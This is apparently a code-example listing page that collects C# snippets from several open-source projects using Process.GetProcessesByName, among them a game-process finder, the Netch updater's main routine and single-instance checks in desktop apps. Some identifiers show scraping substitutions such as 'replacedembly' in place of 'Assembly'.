    }

19 Source : FFProcess.cs
with GNU General Public License v2.0
from AmanoTooko

public  static List<Process>  FindFFXIVProcess()
        {

            var processes = new List<Process>();
            processes.AddRange(Process.GetProcessesByName("ffxiv"));
            processes.AddRange(Process.GetProcessesByName("ffxiv_dx11"));
            return processes;

        }

19 Source : FFProcess.cs
with GNU General Public License v2.0
from AmanoTooko

public static List<Process> FindDaigreplacedouProcess()
        {

            var processes = new List<Process>();
            processes.AddRange(Process.GetProcessesByName("Daigreplacedou"));
            return processes;

        }

19 Source : Program.cs
with MIT License
from AmazingDM

public static void Main(string[] args)
        {
            var result = false;

            try
            {
                #region Check Arguments

                if (CurrentProcess.MainModule == null)
                {
                    Console.WriteLine("Current Process MainModule is null");
                    return;
                }

                if (args.Length != 3)
                {
                    Console.WriteLine("The program is not user-oriented\n此程序不是面向用户的");
                    return;
                }

                // arg0 port
                if (!int.TryParse(args[0], out var port))
                {
                    Console.WriteLine("arg0 Port Parse failed");
                    return;
                }

                var updateExtracted = true;
                // arg1 update File/Directory
                var updatePath = Path.GetFullPath(args[1]);
                if (File.Exists(updatePath))
                {
                    updateExtracted = false;
                }
                else if (!Directory.Exists(updatePath))
                {
                    Console.WriteLine("arg1 update file/directory Not found");
                    return;
                }

                // arg2 target Directory
                string targetPath;
                if (!File.Exists(Path.Combine(targetPath = Path.GetFullPath(args[2]), "Netch.exe")))
                {
                    Console.Write("arg2 Netch Directory doesn't seems right");
                    return;
                }

                #region if under target Directory,then rerun in temp directory

                if (UpdaterDirectory.StartsWith(targetPath))
                {
                    // Updater 在目标目录下
                    // 将程序复制到临时目录,传递参数
                    var tempPath = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());
                    var newUpdaterPath = Path.Combine(tempPath, UpdaterFriendlyName);
                    Directory.CreateDirectory(tempPath);
                    File.Copy(UpdaterFullName, newUpdaterPath);
                    Process.Start(new ProcessStartInfo
                    {
                        FileName = newUpdaterPath,
                        Arguments = $"{port} \"{updatePath}\" \"{targetPath}\"",
                        WorkingDirectory = tempPath,
                        UseShellExecute = false
                    });
                    result = true;
                    return;
                }

                #endregion

                #endregion

                /*Console.WriteLine("Waiting Attach");
                while (!Debugger.IsAttached)
                {
                    Thread.Sleep(1000);
                }*/

                #region Send Netch Exit command

                Process[] _;
                if ((_ = Process.GetProcessesByName("Netch")).Any())
                {
                    Console.WriteLine("Found Netch process, Send exit command");
                    try
                    {
                        var udpClient = new UdpClient("127.0.0.1", port);
                        var sendBytes = Encoding.ASCII.GetBytes("Exit");
                        udpClient.Send(sendBytes, sendBytes.Length);
                    }
                    catch
                    {
                        Console.WriteLine("Send command failed");
                        return;
                    }

                    foreach (var proc in _)
                    {
                        try
                        {
                            proc.WaitForExit();
                        }
                        catch (Exception)
                        {
                            // ignored
                        }
                    }
                }

                #endregion

                var counter = 0;
                while (!TestFileFree(Path.Combine(targetPath, "Netch.exe")))
                {
                    // wait 5 sec
                    if (counter > 25)
                    {
                        Console.WriteLine("Waiting Netch exit timeout");
                        return;
                    }

                    Thread.Sleep(200);
                    counter++;
                }

                #region Update

                string extractPath = null;
                if (!updateExtracted)
                {
                    extractPath = Path.Combine(UpdaterDirectory, "extract");
                    Extract(updatePath, extractPath, true);

                    var netchExeFileInfo = FindFile("Netch.exe", extractPath);

                    if (netchExeFileInfo == null)
                    {
                        throw new Exception("Netch.exe not found in archive!");
                    }

                    updatePath = netchExeFileInfo.Directory.FullName;
                }

                MoveDirectory(updatePath, targetPath, true);

                try
                {
                    if (extractPath != null)
                        Directory.Delete(extractPath, true);
                }
                catch
                {
                    // ignored
                }

                #endregion

                #region Finished Update,Start Netch

                Console.WriteLine("Start Netch");
                Process.Start(new ProcessStartInfo
                {
                    FileName = Path.Combine(targetPath, "Netch.exe"),
                    UseShellExecute = true,
                });

                #endregion

                result = true;
            }
            catch (Exception e)
            {
                if (e is InvalidDataException)
                    Console.WriteLine("Archive file Broken");
                Console.WriteLine(e.ToString());
            }
            finally
            {
                if (!result)
                {
                    Console.WriteLine("Press any key to exit...");
                    Console.Read();
                }
            }
        }

19 Source : Utils.cs
with MIT License
from AmazingDM

public static void KillProcessByName(string name)
        {
            try
            {
                foreach (var p in Process.GetProcessesByName(name))
                    if (p.MainModule != null && p.MainModule.FileName.StartsWith(Global.NetchDir))
                        p.Kill();
            }
            catch (Win32Exception e)
            {
                Logging.Error($"结束进程 {name} 错误:" + e.Message);
            }
            catch (Exception)
            {
                // ignored
            }
        }

19 Source : App.xaml.cs
with MIT License
from ambleside138

public static bool ShowPrevProcess()
        {
            var thisProcess = Process.GetCurrentProcess();
            var hProcesses = Process.GetProcessesByName(thisProcess.ProcessName);
            var iThisProcessId = thisProcess.Id;

            foreach (var hProcess in hProcesses)
            {
                if (hProcess.Id != iThisProcessId)
                {
                    WindowActivator.Activate(hProcess.MainWindowHandle);
                    return true;
                }
            }

            return false;
        }

19 Source : Program.cs
with MIT License
from Analogy-LogViewer

[STAThread]
        static void Main()
        {
            AppDomain.CurrentDomain.replacedemblyLoad += CurrentDomain_replacedemblyLoad;
            DevExpress.UserSkins.BonusSkins.Register();
            WindowsFormsSettings.LoadApplicationSettings();
            WindowsFormsSettings.SetDPIAware();
            replacedogyLogManager.Instance.LogInformation($"OS: {Environment.OSVersion.Version}", nameof(Program));
            if (Environment.OSVersion.Version.Major >= 10)
            {
                WindowsFormsSettings.ForceDirectXPaint();
            }
            Directory.SetCurrentDirectory(AppDomain.CurrentDomain.BaseDirectory);
            replacedemblyLocation = Path.GetDirectoryName(replacedembly.GetEntryreplacedembly().Location);
            AppDomain.CurrentDomain.replacedemblyResolve += CurrentDomain_replacedemblyResolve;
            WindowsFormsSettings.DefaultFont = Settings.FontSettings.UIFont;
            WindowsFormsSettings.DefaultMenuFont = Settings.FontSettings.MenuFont;
            Application.ThreadException += Application_ThreadException;
            AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException;
            if (Settings.EnableFirstChanceException)
            {
                AppDomain.CurrentDomain.FirstChanceException += CurrentDomain_FirstChanceException;
            }
            Settings.OnEnableFirstChanceExceptionChanged += (s, e) =>
            {
                if (e)
                {
                    AppDomain.CurrentDomain.FirstChanceException += CurrentDomain_FirstChanceException;
                }
                else
                {
                    AppDomain.CurrentDomain.FirstChanceException -= CurrentDomain_FirstChanceException;
                }
            };
            Application.SetCompatibleTextRenderingDefault(false);
            Application.EnableVisualStyles();
#if NETCOREAPP3_1 || NET
            Application.SetHighDpiMode(HighDpiMode.SystemAware);
#endif
            Settings.IncreaseNumberOfLaunches();
            if (!string.IsNullOrEmpty(Settings.ApplicationSkinName))
            {
                if (!string.IsNullOrEmpty(Settings.ApplicationSvgPaletteName))
                {
                    UserLookAndFeel.Default.SetSkinStyle(Settings.ApplicationSkinName, Settings.ApplicationSvgPaletteName);
                }
                else
                {
                    UserLookAndFeel.Default.SetSkinStyle(Settings.ApplicationSkinName);
                }

                UserLookAndFeel.Default.Style = Settings.ApplicationStyle;
            }

            UserLookAndFeel.Default.StyleChanged += (s, e) =>
            {
                UserLookAndFeel laf = (UserLookAndFeel)s;
                Settings.ApplicationSkinName = laf.ActiveSkinName;
                Settings.ApplicationStyle = laf.Style;
                Settings.ApplicationSvgPaletteName = laf.ActiveSvgPaletteName;

            };

            if (UserSettingsManager.UserSettings.SingleInstance &&
                Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName).Length > 1)
            {

                if (Environment.GetCommandLineArgs().Length == 2)
                {
                    var otherreplacedogy = GetAlreadyRunningInstance();
                    if (otherreplacedogy != null)
                    {
                        SendDataMessage(otherreplacedogy, Environment.GetCommandLineArgs()[1]);
                    }
                }
                else
                {
                    XtraMessageBox.Show("Single instance is on. Exiting this instance", "replacedogy");
                }

                return;
            }

            if (Settings.IsFirstRun)
            {
               //FirstTimeRunForm f = new FirstTimeRunForm();
               //f.ShowDialog();
            }
            if (Settings.MainFormType == MainFormType.RibbonForm)
            {
                Application.Run(new MainForm());
            }
            else
            {
                Application.Run(new FluentDesignMainForm());
            }

        }

19 Source : Program.cs
with MIT License
from Analogy-LogViewer

private static Process GetAlreadyRunningInstance()
        {
            var current = Process.GetCurrentProcess();
            return Process.GetProcessesByName(current.ProcessName).FirstOrDefault(p => p.Id != current.Id);
        }

See More Examples